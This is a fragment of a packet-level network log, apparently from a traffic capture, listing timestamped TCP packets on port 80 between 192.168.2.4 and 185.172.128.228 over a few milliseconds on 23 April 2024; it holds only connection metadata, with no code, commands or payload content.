Apr 23, 2024 09:38:11.822896957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822907925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822920084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822923899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822940111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822948933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822954893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822972059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.822977066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822995901 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.822997093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823013067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823019981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823028088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823040962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823044062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823048115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823059082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823069096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823075056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823082924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823091030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823100090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823112965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823112965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823129892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823131084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823144913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823148966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823160887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823165894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823177099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823178053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823194027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823195934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823209047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823209047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823225021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823230028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823240995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823241949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823256016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823259115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823271990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823276997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823288918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823290110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823304892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823309898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823321104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823322058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823337078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823338985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823353052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823364973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823369980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823383093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823385954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823396921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823401928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823412895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823425055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823429108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823441029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823446035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823458910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823461056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823474884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823477983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823488951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823491096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823507071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823512077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823524952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823524952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823542118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823542118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823559046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823560953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823573112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823575020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823590994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823592901 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823606968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823609114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823622942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823626041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823640108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823642969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823656082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823656082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823672056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823676109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823687077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823690891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823708057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823710918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823724031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823726892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823738098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823740005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823756933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823760033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823774099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823776007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823790073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823806047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823807001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823822021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823827028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823837996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823848963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823853016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823868990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823878050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823884964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823900938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823901892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823914051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823918104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823934078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823945045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823950052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823955059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823966026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823977947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823982000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.823988914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.823998928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824006081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824022055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824024916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824038029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824038982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824054956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824059963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824070930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824074984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824086905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824086905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824115038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824115038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824120998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824131966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824147940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824151039 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824163914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824165106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824181080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824184895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824197054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824198008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824213028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824217081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824228048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824229002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824244022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824248075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824260950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824261904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824276924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824284077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824292898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824295998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824309111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824312925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824326038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824342012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824343920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824358940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824362040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824374914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824383974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824390888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824407101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824409962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824423075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824431896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824439049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824455976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824455976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824471951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824480057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824486971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824502945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824503899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824518919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824527025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824536085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824548006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824552059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824568033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824568987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824584007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824590921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824600935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824614048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824618101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824630976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824634075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824644089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824651003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824657917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824666977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824675083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824685097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824692965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824704885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824723959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824733973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824749947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824765921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824769974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824780941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824789047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824796915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824796915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824812889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824814081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824830055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824832916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824845076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824851036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824860096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824862003 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824877024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824881077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824893951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824898005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824909925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824912071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824927092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824928999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824944019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824959993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824964046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824975967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.824980021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.824992895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825002909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825009108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825025082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825042009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825047970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825058937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825079918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825098038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825215101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825231075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825246096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825253963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825262070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825268984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825277090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825288057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825293064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825304985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825309038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825318098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825325012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825335026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825340033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825346947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825356007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825365067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825371981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825381994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825387955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825397968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825403929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825408936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825419903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825428009 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825434923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825445890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825452089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825458050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825467110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825475931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825483084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825494051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825499058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825505972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825515032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825522900 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825531006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825541019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825546980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825555086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825562000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825572014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825577974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825587988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825593948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825598955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825609922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825625896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825628996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825640917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825650930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825658083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825674057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825680017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825690985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825696945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825706959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825719118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825722933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825736046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825738907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825747013 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825753927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825766087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825769901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825779915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825786114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825798035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825802088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825809002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825818062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825826883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825833082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825844049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825848103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825859070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825864077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825869083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825880051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825887918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825896978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825906038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825911999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825917006 CEST	49735	80	192.168.2.4	185.172.128.228
